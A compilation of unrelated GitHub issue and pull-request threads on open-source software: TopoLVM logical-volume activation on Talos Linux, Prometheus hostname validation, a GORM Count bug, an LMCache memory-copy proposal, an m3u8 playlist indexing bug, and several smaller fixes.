Activate LV before mount

What should the feature do:
Call lvchange -ay [lv-name] to activate logical volume before mounting the file system.
What is use case behind this feature:
In some environments (Talos Linux 1.8+) LVM volumes are not activated by default. Calling volume activation is safe even if the volume is already activated - most LVM-based CSI implementations do that (activate all volumes or specific LVs).
Workaround:
Add init container to topolvm-node daemonset with command lvm vgchange -ay

If you ok with that request I can try to prepare PR.

@vladimirfx
Thank you for your suggestion. LGTM. Could you please create a Pull Request for it?

Is it really safe? Someone wants to leave it deactivated, this breaks their
workflow. Or it may fail if the device is corrupted. Maybe we need to add a
option to enable it if proceed.
2024年9月18日(水) 17:39 Yuma Ohgami @.***>:

@vladimirfx https://github.com/vladimirfx
Thank you for your suggestion. LGTM. Could you please create a Pull
Request for it?
—
Reply to this email directly, view it on GitHub
https://github.com/topolvm/topolvm/issues/965#issuecomment-2357852713,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AARHM2PIRAEYPDG57FEYFNLZXE34PAVCNFSM6AAAAABOLCDTXCVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGNJXHA2TENZRGM
.
You are receiving this because you are subscribed to this thread.Message
ID: @.***>

Is it really safe? Someone wants to leave it deactivated, this breaks their workflow. Or it may fail if the device is corrupted. Maybe we need to add a option to enable it if proceed. 2024年9月18日(水) 17:39 Yuma Ohgami @.>:
…
@vladimirfx https://github.com/vladimirfx Thank you for your suggestion. LGTM. Could you please create a Pull Request for it? — Reply to this email directly, view it on GitHub <#965 (comment)>, or unsubscribe https://github.com/notifications/unsubscribe-auth/AARHM2PIRAEYPDG57FEYFNLZXE34PAVCNFSM6AAAAABOLCDTXCVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGNJXHA2TENZRGM . You are receiving this because you are subscribed to this thread.Message ID: @.>

Activation of published volumes is required for successful mounting. Implementation should activate only the published volume and not touch anything else. So other volumes and/or other VGs should not be affected.

Activation of published volumes is required for successful mounting.

I'd like to let you know that I've already known this is needed.
However, this behavior has not been done before. Someone or some tools may want not to touch deactivated LVs.
I think this is a corner case, and the LV is managed by topolvm, so it may not be a concern.
Another concern, is it safe to activate the LV deactivated by device corruption?
Last, this issue was raised by your distro, why does topolvm need to fix this?

I'd like to let you know that I've already known this is needed. However, this behavior has not been done before. Someone or some tools may want not to touch deactivated LVs. I think this is a corner case, and the LV is managed by topolvm, so it may not be a concern.
Another concern, is it safe to activate the LV deactivated by device corruption?

The whole point of the issue is to activate LV when it is published (mounted) by Topo. Without this, the publish operation fails anyway (that is what we have seen).
If LV can't be activated because PV is broken - LV activation just fails.

Last, this issue was raised by your distro, why does TopoLVM need to fix this?

IMO distributions created solely for running Kubernetes (Talos, Flatcar, Bottlerocket, etc) should be minimalistic and not try to activate all LVs (at least, because OS does not manage LVM entities - CSI does that) just like general-purpose distros do.
See what other CSI implementation does - it activates all LVs by lvm vgchange -ay (Metal Stack CSI Driver LVM, OpenEBS LVM CSI) or active managed LVs only (Linstore, maybe others). Now, TopoLVM does not activate volumes at all relying on the host OS. But the industry is progressing and host OSes delegate many functions to higher-level entities (like orchestrator + CSI). I love TopoLVM and want to make it aligned with trends (like containerization of lvmd).

We have discussed this matter within the team, including toshipp. We believe that activating the volumes is better. However, implementing this by executing lvchange -ay during the file system mount process seems complex. For example, it would be safer if we could activate the volumes on a per-LV basis and allow the user to control which LVs to activate, but considering such factors would likely result in a complicated PR. Therefore, we would like to request that you add the desired operation to the init container of the DaemonSet lvmd. The helm chart for the DaemonSet lvmd allows for adding an init container. Please note that topolvm-node lacks the necessary capabilities for this operation (if it is an embedded lvmd, there should be no problem).

We have discussed this matter within the team, including toshipp. We believe that activating the volumes is better. However, implementing this by executing lvchange -ay during the file system mount process seems complex. For example, it would be safer if we could activate the volumes on a per-LV basis and allow the user to control which LVs to activate, but considering such factors would likely result in a complicated PR.

I think TopoLVM already contains the necessary function to activate the exact LV:
https://github.com/topolvm/topolvm/blob/b2317b72abc879ba1cceb0265b35cc50b12b212c/internal/lvmd/command/lvm.go#L527
I plan to use it before this line:
https://github.com/topolvm/topolvm/blob/b2317b72abc879ba1cceb0265b35cc50b12b212c/internal/driver/node.go#L168
I am completely wrong?

Therefore, we would like to request that you add the desired operation to the init container of the DaemonSet lvmd. The helm chart for the DaemonSet lvmd allows for adding an init container. Please note that topolvm-node lacks the necessary capabilities for this operation (if it is an embedded lvmd, there should be no problem).

I've already used this workaround but in the init container, I do not know what exactly LVs managed by TopoLVM (so I activate all...).

I think TopoLVM already contains the necessary function to activate the exact LV:

The Activate function is a function within lvmd. It cannot be directly called from the publish process of topolvm-node. Modifications such as adding a new RPC will be necessary.

I've already used this workaround but in the init-container I do not know what exactly LVs managed by TopoLVM (so I activate all...).

When I mentioned that "it would be safer if we could activate the volumes on a per-LV basis and allow the user to control which LVs to activate," I was referring to the case where we add this functionality to TopoLVM. It would certainly be difficult to make such considerations in an init container of the lvmd.

Could you elaborate again what exactly is complex about this?

If we are to add an implementation to TopoLVM, we would like to ensure that we care for users who have been expecting the behavior of not activating LVs until now. Therefore, in addition to being able to configure whether or not to activate, we would like to allow users to specify which LVs to activate. As previously mentioned, the existing function that performs LV activation resides within lvmd, so it cannot be executed from within topolvm-node. For example, one approach could be to add an RPC to lvmd for LV activation and use that RPC during the mount process. To allow users to specify which LVs to activate, we need to consider how to configure this setting and implement the activation process according to that configuration. This is likely more complex than simply adding a few lines before the mount.

If we are to add an implementation to TopoLVM, we would like to ensure that we care for users who have been expecting the behavior of not activating LVs until now.

While I understand this, the answer here is to gate this imo because we dont actually have a user that voiced concerns about this until now right?

Therefore, in addition to being able to configure whether or not to activate, we would like to allow users to specify which LVs to activate.

Why do we need this? I feel like we are creating a new problem which did not exist before. I am wondering who would want some of their LVs to be automatically activated, and some not.

As previously mentioned, the existing function that performs LV activation resides within lvmd, so it cannot be executed from within topolvm-node.

I agree that this would be hard to implement in the mount.
That said, even if we consider all of your points as valid, then still I think its a problem we should solve. Most users will expect LVs managed by TopoLVM to autoactivate anyways.
I would suggest to add a behavior to the LogicalVolume controller that attempts to activate them if a gate is set. I dont think this needs to be done during mount specifically but of course im open for discussion.

I would suggest to add a behavior to the LogicalVolume controller that attempts to activate them if a gate is set.

That would be great!

I dont think this needs to be done during mount specifically but of course im open for discussion.

Then at what point?

Upon reconsideration, I agree that it is natural for topolvm to activate the LV.
By the way, in @vladimirfx's workaround, lvm vgchange -ay is used. Does this imply that the VG is not active? If that is the case, attempting to activate the LV with topolvm would not resolve the issue, as the VG is not active. (Additionally, topolvm does not manage the VG.)
There is an issue related to VG activation on Talos Linux. Has this issue been resolved?

If that is the case, attempting to activate the LV with topolvm would not resolve the issue, as the VG is not active.

I've tested this - an attempt to activate concrete LV also activates VG.

There is https://github.com/siderolabs/talos/issues/9300 related to VG activation on Talos Linux. Has this issue been resolved?

That issue is about too early activation attempt and yes, the issue is resolved by removing the LVM activation phase from the boot sequence. There is another issue https://github.com/siderolabs/talos/issues/9365 which is not resolved yet.

Reopening this issue as we still need to address this

We don't plan to implement such workarounds for specific environments, especially when the root causes lie within those environments. Doing so would lead to high maintenance costs.
Regarding this issue, it appears to have been fixed in Talos Linux (ref). Could you try using the new versions of Talos OS that include this fix?

Yes, Talos team fixes activation. IMO it would be useful to implement activation in Toppo. Close this issue if it not relevant.

I think we can prioritize this lower but generally still think about automatically activating volumes. WDYT @cupnes ?

@jakobmoellerdev
I don't think such an environment is very general. If there ever comes a time when anyone needs to use topolvm in such an environment, I would like to consider it then.

sure, works for me. I am closing this issue until we find a more generalistic use case. Thanks for contributing guys!


CallKit uppercasing call uuid

If I call RNCallKit.endCall('ae708c43-f567-4bcf-8940-fb7013a8aa30'), the end call callback will get data with the uuid uppercased:
{ callUUID: 'AE708C43-F567-4BCF-8940-FB7013A8AA30' }
Is that expected?

It's caused by the use of NSUUID everywhere...
For now I ended up converting back to lowercase in the event listeners.
@ianlin would you accept a PR to accept mixed case but always return lowercase UUID's?

Hi @bsiddiqui @brunsy, thanks for pointing this out. Yeah definitely welcome any PR :)


Set environment vars per package

Hi
So following https://github.com/felixrieseberg/windows-build-tools/issues/12 I noticed (from the Task Manager) that the build tools were installing. I let these install and also installed python manually from the version that was downloaded by running this tool.
However, I still can't install<EMAIL_ADDRESS>I get the following error:
MSBUILD : error MSB4132: The tools version "2.0" is unrecognized. Available tools versions are "14.0", "4.0".
Any ideas?

I have found the solution discussed here: https://github.com/chjj/pty.js/issues/60
Basically I ran the following command:
npm config set msvs_version 2015 --global
I wanted to make a PR but I realised that there seems to be a script that does this once the downloads are complete. Considering the installation of Python was unsuccessful for me, that explains why this was not done automatically.
Feel free to close this issue if you think nothing further should be done... perhaps the environment variables for each thing should be done separately in case one fails and is installed manually by the user?

I agree, this makes a lot of sense.

I'm closing this issue due to age / inactivity. If there is still interest and actionable steps then feel free to reopen.


UML-1871 - Rotate API Keys on a schedule

Purpose
Automate a security stance by replacing API keys on a regular basis.
Fixes Ticket: UML-1871
Approach

Create a new job lists api keys in terraform state and taints them
Add a workflow that runs the taint and apply jobs on a schedule

Learning

https://circleci.com/docs/2.0/configuration-reference/#schedule
https://www.terraform.io/docs/cli/commands/taint.html

Checklist

[ ] I have performed a self-review of my own code
[ ] The product team have tested these changes

Taint job working correctly

A subsequent apply will replace the api key, and update secrets.

in a broader context


Variation Service

We will introduce a new variant-calling service for closely related genomes. We will
enable the reference genome to be derived from public genomes, raw reads assembled
and annotated by PATRIC services, or genomes uploaded to the user’s workspace. The
service will generate a summary of DNA-level differences among the genomes and
output detailed lists of SNPs, MNPs, insertions and deletions with confidence scores.
The service will provide annotations on the SNP effect such as “the SNP is in a coding
region” and “results in an amino acid change”. The service will identify regions present or
absent when comparing the reference genome to reads in the raw read data.

Per Tom, service is running now in prototype mode.  Need to migrate to production, and will require some UI work.  Initial plan is to display results via genome browser and have downloadable vcf files.

3/28: Initial UI for submission FASTQ is up on beta.  Fangfang issued pull request.  Andrew will send app spec to Bob to review.

@aswarren: I have added 'mapper' and 'caller' parameters to the [spec file] (https://github.com/levinas/app_service/blob/master/app_specs/Variation.json), although I'm still thinking if we need to expose them (instead of recipe) in the UI.
Tools supported:
mapper: bwa-mem, bwa-mem-strict, bowtie2, mosaik, or last
caller: freebayes or samtools
SNP annotator: in-house tool and snpEff
If we go with a single recipe parameter, it will be taken to mean the mapper option, and the variant caller will always be set to freebayes.

3/31: Harry will put Variation Analysis menu item in JBoss and WordPress.  Andrew will add the one for P3 web.


[Incomplete] App menu based on #66 issue

This is the basic menu, with the button (without the menu.svg image because don't worked here) and the menu div (with display:none). The menu button and return arrow button have a jquery onclick event to toggle the menu, but I understand that jquery isn't a need here.
I need your help to make the toggle work in this menu, and the menu.svg image work on the button.

@nt1m , planning to do more?
What is the pending works in this PR, now?

Amazing! :+1:


_ in alertmanager.url gives 'ERRO[0000] invalid Alertmanager URL'

When using a hostname with a _ , prometheus exits with the following:
root@aio1-prometheus-container-1ce4332a:~# /usr/bin/prometheus -config.file=/etc/prometheus/prometheus.yml -storage.local.path=/var/lib/prometheus/data -alertmanager.url http://aio1_alertmanager_container-63376c45:9093,http://aio1_alertmanager_container-639c8482:9093,http://aio1_alertmanager_container-10c18cc4:9093 -web.console.templates=/etc/prometheus/consoles -web.console.libraries=/etc/prometheus/console_libraries
ERRO[0000] invalid Alertmanager URL: http://aio1_alertmanager_container-63376c45:9093  source=main.go:75

After changing _ in alertmanager.url to -
root@aio1-prometheus-container-1ce4332a:~# /usr/bin/prometheus -config.file=/etc/prometheus/prometheus.yml -storage.local.path=/var/lib/prometheus/data -alertmanager.url http://aio1-alertmanager-container-63376c45:9093,http://aio1-alertmanager-container-639c8482:9093,http://aio1-alertmanager-container-10c18cc4:9093 -web.console.templates=/etc/prometheus/consoles -web.console.libraries=/etc/prometheus/console_libraries
INFO[0000] Starting prometheus (version=1.6.2, branch=master, revision=b38e977fd8cc2a0d13f47e7f0e17b82d1a908a9a)  source=main.go:88
INFO[0000] Build context (go=go1.8.1, user=root@c99d9d650cf4, date=20170511-12:59:13)  source=main.go:89
INFO[0000] Loading configuration file /etc/prometheus/prometheus.yml  source=main.go:251
INFO[0000] Loading series map and head chunks...         source=storage.go:421
INFO[0001] 40498 series loaded.                          source=storage.go:432
INFO[0001] Starting target manager...                    source=targetmanager.go:61
INFO[0001] Listening on :9090                            source=web.go:259

Configs allow underscores:
scrape_configs:
  - job_name: 'prometheus'
    scrape_interval: 5s
    static_configs:
      - targets: ['aio1_prometheus_container-1ce4332a:9090']
      - targets: ['aio1_prometheus_container-80fbb462:9090']
      - targets: ['aio1_prometheus_container-c162b818:9090']

RFC 952 says that:
1. A "name" (Net, Host, Gateway, or Domain name) is a text string up
   to 24 characters drawn from the alphabet (A-Z), digits (0-9), minus
   sign (-), and period (.)

But the rule apparently isn't strictly followed by DNS servers and names in an /etc/hosts file can contain underscores.
Just pointing out that there's a little inconsistency in hostname handling, and we possibly need a better error for special characters? Something like:
Invalid characters, only A-Z,0-9 and . allowed

Environment:
root@aio1-prometheus-container-1ce4332a:~# prometheus -version
prometheus, version 1.6.2 (branch: master, revision: b38e977fd8cc2a0d13f47e7f0e17b82d1a908a9a)
  build user:       root@c99d9d650cf4
  build date:       20170511-12:59:13
  go version:       go1.8.1

Wrong repo..

Using the command line flag to list alert manager instances is deprecated, you should move to using the discovery provided in the config.


Build source

Where is the build?

What? That's just a plain old conhost window...

I mean the build number "22590.1000"

I miserably said that!

I failed miserably.

@zadjii-msft Jump into 22600.1000!

@zadjii-msft 22593 = Trash 22601 = Good

22601 is releasing?

Ah. Well, I work at Windows, so we selfhost builds a few versions before they go out to Insiders. Our build numbers are just ever so slightly different than the Insiders ones.
I believe 22593 is available on the Dev channel as of yesterday. You can go try out that one if you'd like!

@zadjii-msft 226xx is what I want, not 225xx.

At VirtualBox.


Version of AWS SDK should be updated

According to https://aws.amazon.com/blogs/developer/tls-1-3-incompatibility-with-aws-sdk-for-java-versions-1-9-5-to-1-10-31/ AWS SDK should be updated to 1.12.x or 2.x. Right now the plugin is using AWS SDK 1.10.12 version https://github.com/elastic/elasticsearch-cloud-aws/blob/v2.7.1/pom.xml#L35

Hey! As stated in the README, this project has moved.
It was up to version 1.x which is not maintained anymore.
But thanks for the effort of providing a fix.

Hi, thanks for the response but I need the solution anyways, since I'm using elasticsearch 1.7.


travis shallow clone tweak

All the other branches seemed to have issues with the BRANCH command when ran under travis-ci (related to shallow clone). This ensures that if TRAVIS_BRANCH is present, it will use that instead of making its own determination.

*** BUILD #1066 ***
Test Name: test_node_workflows_del_active
Error Details: (400)
Reason: Bad Request
HTTP response headers: HTTPHeaderDict({'Content-Length': '78', 'X-Powered-By': 'Express', 'Connection': 'keep-alive', 'ETag': 'W/"4e-oE3+zOy42cMtse0TApcKWw"', 'Date': 'Wed, 27 Apr 2016 18:34:59 GMT', 'Access-Control-Allow-Origin': '*', 'Content-Type': 'application/json; charset=utf-8'})
HTTP response body: {"message":"TaskCancellationError: Failed to cancel 57210651ef12015281c9ccab"}

Stack Trace: Traceback (most recent call last):
  File "/usr/lib/python2.7/unittest/case.py", line 331, in run
    testMethod()
  File "/usr/lib/python2.7/unittest/case.py", line 1043, in runTest
    self._testFunc()
  File "/tmp/.venv/local/lib/python2.7/site-packages/proboscis/case.py", line 296, in testng_method_mistake_capture_func
    compatability.capture_type_error(s_func)
  File "/tmp/.venv/local/lib/python2.7/site-packages/proboscis/compatability/exceptions_2_6.py", line 27, in capture_type_error
    func()
  File "/tmp/.venv/local/lib/python2.7/site-packages/proboscis/case.py", line 350, in func
    func(test_case.state.get_state())
  File "/home/jenkins/workspace/on-http/RackHD/test/tests/api/v2_0/nodes_tests.py", line 340, in test_node_workflows_del_active
    raise e
ApiException: (400)
Reason: Bad Request
HTTP response headers: HTTPHeaderDict({'Content-Length': '78', 'X-Powered-By': 'Express', 'Connection': 'keep-alive', 'ETag': 'W/"4e-oE3+zOy42cMtse0TApcKWw"', 'Date': 'Wed, 27 Apr 2016 18:34:59 GMT', 'Access-Control-Allow-Origin': '*', 'Content-Type': 'application/json; charset=utf-8'})
HTTP response body: {"message":"TaskCancellationError: Failed to cancel 57210651ef12015281c9ccab"}

:+1:

:+1:  test this please


`knife ssl check' may be reporting incorrect default certificate path

While debugging an SSL issue, I ran knife ssl check. In the output, it states:
By default, the certificate is stored in the following location on the host
where your chef-server runs:

  /var/opt/chef-server/nginx/ca/SERVER_HOSTNAME.crt

But on my Chef server, the certificates are placed under /var/opt/opscode/nginx/ca/SERVER_HOSTNAME.crt.
Can someone please verify the default location and update the output as necessary? The reference documentation shows the directory that I report above.
Thanks!

@tpetchel certificates right location is
/var/opt/opscode/nginx/ca/SERVER_HOSTNAME.crt

isn't the chef-server omnibus install location /opt/opscode?

Wasn't this already supposed to be fixed?
https://github.com/chef/chef/issues/2604

fixed.


Added Austrian fiscalization.

Oh I see, we'll just need to unwrap it from the src folder afterwards. Ok, step 2 done on all the fiscalizations at once, I agree


Adjust padding for no title, no button lists

See discussion https://github.com/afollestad/material-dialogs/issues/395#issuecomment-90191662
I was going to rebase onto master but with the theming in master being in a funny state right now I decided against it. But it should be pretty easy to merge or cherry-pick.

Thanks!


Register

@JuliaRegistrator register

@JuliaRegistrator register

Registration pull request created: JuliaRegistries/General/79850
After the above pull request is merged, it is recommended that a tag is created on this repository for the registered package version.
This will be done automatically if the Julia TagBot GitHub Action is installed, or can be done manually through the github interface, or via:
git tag -a v0.1.0 -m "<description of version>" ac31c220b7e79b1cea2342bac5556eebaaa4d0a6
git push origin v0.1.0

@JuliaRegistrator register

Registration pull request created: JuliaRegistries/General/79851
After the above pull request is merged, it is recommended that a tag is created on this repository for the registered package version.
This will be done automatically if the Julia TagBot GitHub Action is installed, or can be done manually through the github interface, or via:
git tag -a v0.1.0 -m "<description of version>" 7b0cd16beec96bba7a41506001271b74f945e474
git push origin v0.1.0


Improvements in usage of components to better tree shaking

When i was using the lib i had some trouble using the code of the website, in this PR i changed a bit the usage of components to better tree shaking and to working properly on projects using or not Sapper.js

Thank you!


making this guy a better citizen

these methods need to become private and not extenal:
unmaskMoney
mask
setCursorPosition
getInputSelection
they will become this
.maskMoney('unmask')
.maskMoney('mask')
the other 2 methods will be vanished.
following this guidelines:
http://docs.jquery.com/Plugins/Authoring#Namespacing

note: remember to update the docs and examples.


DB.Count() return error value

I queried how many rows in tables use DB.Count(), it return 0, but there are 1 row matched in table. I trace this problem, and find
the source code of DB.Count  in 'finisher_api.go'.
`func (db *DB) Count(count *int64) (tx *DB) {
tx = db.getInstance()
...
tx.Statement.Dest = count
tx = tx.callbacks.Query().Execute(tx)
if tx.RowsAffected != 1 {
	*count = tx.RowsAffected
}
return

}`
Why use tx.RowsAffected != 1 to decide if set RowsAffected value to *count ? I am confused with it, and did not got it. I think it should be
if tx.RowsAffected != 0 {     *count = tx.RowsAffected }
So, anyone can help me to explain it's reason ?

https://gorm.io/zh_CN/docs/advanced_query.html#Count  这里 count 的意思是 Get matched records count
情况如下:

count() 且没有 group by 这里只会返回 一行 数据,记录数是 count()的结果
count 有 group by ,这会返回 多行 数据,这里选择使用 RowsAffected

We ran into this today, oof. It seems to only happen when exactly one row is matched.


[python] Change distribute name avoid confusion with main pkg

rename them and add python suffix in the end
close: #9121

Codecov Report

Merging #10134 (310ec24) into dev (73f13a9) will decrease coverage by 0.02%.
The diff coverage is n/a.

:exclamation: Current head 310ec24 differs from pull request most recent head dcbcdb6. Consider uploading reports for the commit dcbcdb6 to get more accurate results

@@             Coverage Diff              @@
##                dev   #10134      +/-   ##
============================================
- Coverage     40.85%   40.83%   -0.03%
+ Complexity     4718     4713       -5
============================================
  Files           854      854
  Lines         34503    34503
  Branches       3814     3814
============================================
- Hits          14096    14088       -8
- Misses        19055    19058       +3
- Partials       1352     1357       +5

Impacted Files
Coverage Δ

...er/master/dispatch/host/assign/RandomSelector.java
77.77% <0.00%> (-5.56%)
:arrow_down:

...e/dolphinscheduler/remote/NettyRemotingClient.java
50.70% <0.00%> (-2.82%)
:arrow_down:

...dolphinscheduler/remote/future/ResponseFuture.java
81.96% <0.00%> (-1.64%)
:arrow_down:

...olphinscheduler/plugin/alert/email/MailSender.java
73.61% <0.00%> (-1.39%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 73f13a9...dcbcdb6. Read the comment docs.


Reduce unnecessary memory copy

Description
LMCache retrives tensors by chunks then concatenates them and it stores by stacking tensors in a chunk. Both introduce unnecessary copies in memory.
It would be better if LMCache can fit with underlaying memory layout and retrive/store in-place when possible.
What I want
Reduce unnecessary copy in memory and fit with underlaying memory layout like paged attention.
One possible solution
Remove torch.cat by allowing _batch_get to return a list of tensors for every chunk and make tuple kv from these lists without concatenating.
And vllm should just recognize these blocks in-place inside driver.
Remove torch.stack by allowing _batch_put to accept a list of tensors as kv_chunk.
Local retrive/store should not introduce copying now. Now consider remote.
The mismatch between chunk_size in encoding/decoding and blocks in paged attention is more difficult to solve.
One possible solution is reserving some space for encoding/decoding and concatenating/spliting on remote transmission.
Another possibility is to modify CUDA kernel to enable encoding from/decoding to an array of tensors not continous in gpu memory.
Files
lmcache/cache_engine.py

Hi Sixian, thanks for the proposal!
I'm not sure whether I fully understand your proposal or not. Can you elaborate more about your proposed solution? Specifically, how are you going to implement _batched_get and _batched_put without torch.stack and torch.cat?
Also, can you explain the meaning of this sentence?

And vllm should just recognize these blocks in-place inside driver.

I'm happy to have some further discussion with you!

Also, it would be great if you can provide some back-of-envelope analysis before you really implement your optimization.
For example, how much memory footprint can be reduced by your optimization? How much processing can it save?

Hi, here is a more concrete proposal, which can help with memory usage and copy.
Interface changes
Cache Engine
Config

Add skip_local bool flag. This flag will make lmcache skip any local put, leaving it to the serving system.
Add incremental_return bool flag. This will make cache engine only returns what's not known by serving system before.
Add one function to get the entire KV cache as a list of tensors of shape [num_layers, 2, token_num, num_heads, head_size].
token_num should be <= chunk_size.
Passing None means disabling this.
If using this for vllm, it introduces no unnecessay copy cos we have to rebuild(copy out) the KV cache from vllm blocks anyway.

Pass True, True, rebuild_function_passed_in_by_driver for vllm, and False, False, None for huggingface(which falls back to previous implementation).
This proposal mainly considers vllm, but the idea can also be applied to huggingface by setting True, True, get_kv_from_driver and move the tuple of KV cache into lmcache-driver. If setting False, False, None, it falls back to original implementation.
retrive/store
retrive can return a list of tensor instead of one tensor where it should be a single key/value tensor for a whole layer with all tokens before( kv_cache[ith_layer][key_or_value] is a tensor before, now a list) if incremental_return is true.
Implementation changes
Cache engine
store
Make chunks of tokens and check the dict.
If there are no new tokens, just return.
If there are new tokens, update the dict to include the new chunks' hash, if skip_local is true, just put None as value.
Then if only local backend and skip local is true, return.
else, remote put, call the function passed in by driver to rebuild the KV cache as a list of tensors with shape [num_layers, 2, token_num, num_heads, head_size](this can remove torch.stack), this is possible cos we have to copy the KV cache from vllm blocks anyway.
Then call _batch_put with those chunks.
The storage backend should also skip local put if skip_local is True.
retrive
Make chunks of tokens and check the dict.
If there are no new tokens, just return.
If not, query the server, if still no, return.
If some chunks are returned by server, append into a chunk list, then if incremental_return, just return KVCache with a list of tensors in place of one tensor before(remove torch.cat), if not incremental, get all previous chunks from cache dict, append new chunks, torch.cat on them all and return.
Deriver
_inject_kv_cache
Accept another parameter called starting_idx to support incremental return by LMCache.
The loaded cache starts from starting_idx in block_table.
Driver
Config
Pass the configuration to cache engine according to underlying serving system.
store
In vllm, pass kv_caches as None first. Cache engine should call the rebuild function on demand.
retrive_and_inject
In vllm, incremental_return is true. If there is any chunk returned by cache engine, call _injec_kv_cache and construct slot_mapping only for the new tokens, then reshape_and_cache chunk by chunk(removes the torch.cat before, one chunk should be quite large thus not many loops).
Estimated benefit
Memory usage reduction
The previous implementation keeps a seperate KV cache from what is kept by vllm, which doubles the memory footprint.
This proposal can skip the store into local cache, reducing reducing memory usage to half.
For huggingface, the user need not keep a seperate KV cache now. KV cache can be kept by cache engine(when skip_local is False) or driver(when skip_local is True).
Speed up
This proposal reduces some memory copy.
For local backend, it reduces meomry copy to zero.
When remote put is involved, it can still help.
The original implementation creates a copy when rebuilding KV cache, then copies again in _tuple_kv_to_blob. This proposal makes it possible to copy only once when rebuilding KV cache chunk by chunk.
On remote get, this proposal directly reshape_and_cache into vllm KV cache from chunks, while the current implementation always calls torch.cat first.
Problems

Returning a list of tensors and inject into KV cache one by one can result in launching the reshape_and_cache kernel multiple times for one layer. But chunk size is generally large, and it should not launch for too many times.
Building KV cache chunk by chunk into [num_layers, 2, token_num, num_heads, head_size] with only one copy might require writing a new kernel.

Thanks for the clarification! Here are my comments and questions:
A general comment:
It's very useful that you clarify the steps within each function. It would be better if you could also write down the signature of the new functions or the functions you will change.
There are a few questions:

For skip_local flag: Seems like the current LMCache already supports this functionality. If you set local_device to None in the configuration yaml file (see example.yaml), it will not initialize the local cache. In this case, is there any specific reason to keep skip_local flag?
For incremental_return: Will this be expressive enough? For example, say two requests with the same prefix are coming to the serving engine, and both requests want to get the KV cache incrementally. Since you only maintain a single state inside LMCache, I don't think it can correctly handle both requests at the same time.
For store and retrieve: do you need to change the function signature? If so, can you elaborate what has been changed?
For the estimated benefit: it's good that you had some high-level analysis/intuition of the potential benefits. But I want to see some quantitative numbers. Maybe try profiling the memory usage and execution timeline of current code by pytorch profiler and NVIDIA nsys

Now making vllm internal cache work together with LMCache and the retrieve/store with skipping unnecessary tokens(which is incremental) partially solved this problem, and torch.cat/torch.stack here only adds a temporary memory overhead. Closing this issue.


Media Playlist Set* methods modifying wrong segments

I believe there maybe an issue with the Set* methods when the media playlist capacity is not a power of 2. It appears that once the playlist is full, a Set* (such as SetDiscontinuity() or SetKey()) sets the correct value on the wrong segment.
The following should demonstrate this, ignore the fact I'm ignoring errors, even when checked the problem still occurs. The SetKey() method best shows the issue as I can set the key URI (and IV) to be the same as the segment URI to better illustrate the problem, but the same occurs with SetDiscontinuity() (and likely other methods that use the p.Segments[(p.tail-1)%p.capacity] calculation).
package main

import (
    "fmt"

    "github.com/grafov/m3u8"
)

func main() {
    // OK when size is 1,2,4,8,16....
    // Not OK when size is 3,5,6,7,9,10...
    size := uint(5)
    pls, _ := m3u8.NewMediaPlaylist(size, size)

    for i := uint(0); i < size; i++ {
        uri := fmt.Sprintf("uri-%d", i)
        _ = pls.Append(uri+".ts", 4, "")
        _ = pls.SetKey("AES-128", uri+".key", fmt.Sprintf("%d", i), "", "")
    }

    fmt.Print(pls)
}

Output
#EXTM3U
#EXT-X-VERSION:3
#EXT-X-MEDIA-SEQUENCE:1
#EXT-X-TARGETDURATION:4
#EXT-X-KEY:METHOD=AES-128,URI="uri-4.key",IV=4 <- the 5th iteration overwrote the 1st's
#EXTINF:4.000,
uri-0.ts
#EXT-X-KEY:METHOD=AES-128,URI="uri-1.key",IV=1 <- 2nd iteration correct
#EXTINF:4.000,
uri-1.ts
#EXT-X-KEY:METHOD=AES-128,URI="uri-2.key",IV=2 <- 3rd iteration correct
#EXTINF:4.000,
uri-2.ts
#EXT-X-KEY:METHOD=AES-128,URI="uri-3.key",IV=3 <- 4th iteration correct
#EXTINF:4.000,
uri-3.ts
#EXTINF:4.000,
uri-4.ts  <- 5th iteration is missing the EXT-X-KEY

Generally, it looks like the problem is that the .Append() method sets playlist tail property (p.tail) to be modulo capacity and stores it back in p.tail (p.tail is always between 0 and p.capacity). Whereas the Set* methods assume this is a incrementing integer (based on they're calculation of (p.tail-1)%p.capacity). Essentially, because p.tail wraps to zero and because it is a uint, when p.tail is 0 the result of p.tail-1 is<PHONE_NUMBER>3709551615. Changing this to an int doesn't quite fix things either, at least not without still requiring further changes within the Set* methods (but this may also be the preferred solution) and more casting.
I believe a simple change maybe:
@@ -275,8 +276,8 @@ func (p *MediaPlaylist) Append(uri string, duration float64, title string) error
        seg.URI = uri
        seg.Duration = duration
        seg.Title = title
-       p.Segments[p.tail] = seg
-       p.tail = (p.tail + 1) % p.capacity
+       p.Segments[p.tail%p.capacity] = seg
+       p.tail++
        p.count++
        if p.TargetDuration < duration {
                p.TargetDuration = math.Ceil(duration)

There's other methods to fix it in each Set* method, via (something similar to, but perhaps using a private tail() method to obtain the correct tail):
+               tail := p.tail - 1
+               if p.tail == 0 {
+                       tail = p.capacity - 1
+               }
+               // OR: tail := int(math.Min(float64(p.tail-1), float64(p.capacity-1)))
-               p.Segments[(p.tail-1)%p.capacity].Key = &Key{method, uri, iv, keyformat, keyformatversions}
+               p.Segments[tail].Key = &Key{method, uri, iv, keyformat, keyformatversions}

I wanted to get hear others' thoughts on this before I go too much further, as this maybe a misunderstanding, maybe another solution, or this proposed change may cause other unintended consequences. This isn't a straight forward issue as there's multiple causes (depending on your opinion) and multiple solutions.
I'll be happy to send in a PR + tests and also address the Remove() methods (as well as the corresponding head variable), just focusing on the Append() and Set* methods first.
Note, I can't reproduce the issue when there capacity is a power of 2, e.g.: 1,2,4,8,16 - this may explain why the issue hasn't been discussed before?
I think there's two ways to solve this, move tail/head to ints and handle negatives in Set* methods, or use the above method (tail to always be incrementing). I'll continue to have a bit of a think about this, but I want to hear others' opinions.

I had considered proposing alternatives to this exact FIFO method (looking at these examples: https://gist.github.com/moraes/2141121), where we could have auto extending playlists (see rasky's suggestion), but this would potentially be a breaking change, as others may depend on the playlist full behaviour, either case, this version should still be fixed (if it isn't intentional behaviour).

@grafov when you have time, do you have any thoughts on this?

Finally I looked this bug, it reproduced as explained above. I fully agree with @bradleyfalzon, my usage of uint without check was wrong. Bradley please merge your commit it fix problem properly.

Well I found pull request and merged it. Thank you!

Thanks @grafov, much appreciated


fix:Settings tab should have 2 scrollable sections

Checklist

